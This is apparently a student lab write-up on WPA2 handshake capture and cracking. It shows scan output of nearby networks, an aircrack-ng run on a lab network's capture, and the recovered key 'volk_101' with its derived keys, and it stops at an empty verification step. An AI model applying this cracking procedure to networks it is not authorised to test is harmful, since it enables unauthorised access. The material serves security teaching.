

## Lab17

### Step 1. WiFi Handshake Capture

2C:1A:05:C1:9B:AE	-67	45	0	0	56	720	WPA2	CCMP	MGT	eduroam
2C:1A:05:C1:9B:AB	-68	45	0	0	56	720	WPA2	CCMP	MGT	TUNI-STAFF
A0:0F:37:40:65:4C	-1	0	0	0	52	-1				<length: 0>
74:4C:A1:72:6E:7F	-56	43	0	0	36	360	WPA2	CCMP	PSK	ClickShare-C3-05
E4:AA:EA:5D:E8:E7	-91	43	0	0	36	360	WPA2	CCMP	PSK	ClickShare-1862365462DEMO
DE:CB:AC:49:7C:1C	-51	45	0	0	36	780	WPA2	CCMP	PSK	<length: 0>
E2:CB:AC:49:7C:1C	-51	45	3	0	36	780	WPA2	CCMP	PSK	CyberLab_Volkswagen
74:4C:A1:72:63:05	-91	40	0	0	36	360	WPA2	CCMP	PSK	ClickShare-C3-11
E0:0A:F6:BE:5D:CB	-89	44	1	0	36	360	WPA2	CCMP	PSK	ClickShare-C4-04
9C:2F:9D:67:3A:55	-92	37	0	0	36	360	WPA2	CCMP	PSK	ClickShare-C3-17
74:4C:A1:74:72:63	-60	45	0	0	36	360	WPA2	CCMP	PSK	ClickShare-C3-06
F4:6A:DD:32:DE:7D	-75	45	0	0	36	360	WPA2	CCMP	PSK	ClickShare-C2-06 PAJA 3
F4:6A:DD:35:8D:F3	-71	45	0	0	36	360	WPA2	CCMP	PSK	ClickShare-C2-04 TIIMITILA
D6:21:F9:F3:AA:66	-86	42	0	0	36	720	WPA2	CCMP	PSK	<length: 0>
D0:21:F9:F3:AA:66	-86	36	0	0	36	720	WPA2	CCMP	PSK	CR - Office
A0:0F:37:36:95:E1	-68	15	0	0	6	260	WPA2	CCMP	MGT	eduroam
A0:0F:37:3C:D9:E2	-74	16	0	0	6	260	OPN			TUNI-GUEST
A0:0F:37:3C:D9:E0	-74	16	0	0	6	260	WPA2	CCMP	MGT	roam.fi
00:1F:42:4A:FE:B3	-88	15	0	0	6	65	WPA2	CCMP	PSK	AsennusVerkko



```
(root@kali)-[/home/kali]
# aircrack-ng cyberlab_volkswagen-01.cap
Reading packets, please wait...
Opening cyberlab_volkswagen-01.cap
Resetting EAPOL Handshake decoder state.
Resetting EAPOL Handshake decoder state.
Read 11376 packets.

# BSSID           ESSID             Encryption
1 E2:CB:AC:49:7C:1C CyberLab_Volkswagen WPA (1 handshake)

Choosing first network as target.

Reading packets, please wait...
Opening cyberlab_volkswagen-01.cap
Resetting EAPOL Handshake decoder state.
Resetting EAPOL Handshake decoder state.
Read 11376 packets.

potential targets

Please specify a dictionary (option -w).
```

### Step 2 Password Cracking

```
kali@kali: ~  
File Actions Edit View Help  
CH 36 ][ Elapsed: 25 mins ][ 2025-04-17 03:49 ][ interface wlan0 down  
BSSID          PWR RXQ Beacons    #Data, #/s CH  MB  ENC CIPHER AUTH ESSID  
E2:CB:AC:49:7C:1C -50 100   14634    1204    0  36  780  WPA2 CCMP  PSK  CyberLab_Volkswagen  
BSSID          STATION          PWR   Rate    Lost  Frames  Notes  Probes  
E2:CB:AC:49:7C:1C 9E:8A:7A:17:25:6C -56   12e-24    0    1864  EAPOL  
  
root@kali: /home/kali  
File Actions Edit View Help  
Press 'q' or Ctrl-C to abort, almost any other key for status  
[00:00:00] 12 keys tested (294.38 k/s)  
KEY FOUND! [ volk_101 ]  
  
Master Key   : 60 10 39 1C FE 99 71 00 CD 06 B9 40 01 B9 4A 0B  
              1F 33 B6 96 10 65 4E CC 52 E4 A2 71 DD 8C 5B 46  
Transient Key : 3A 39 0C 67 9B 09 4B 1B A3 2F CF FF 29 69 01 EF  
              A1 D3 E3 DE 5A DD 6C 0E 1B 0D 0B 2D 2C AC 28 CF  
              D6 67 30 F2 28 9E 2A 94 63 60 00 00 00 00 00 00  
              00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
EAPOL HMAC   : E3 45 3F 9E C1 87 A0 B1 71 12 F5 53 1F 86 6C 69  
  
(root@kali)-[/home/kali]  
#
```

### Step 3. Verify Unauthorised Access



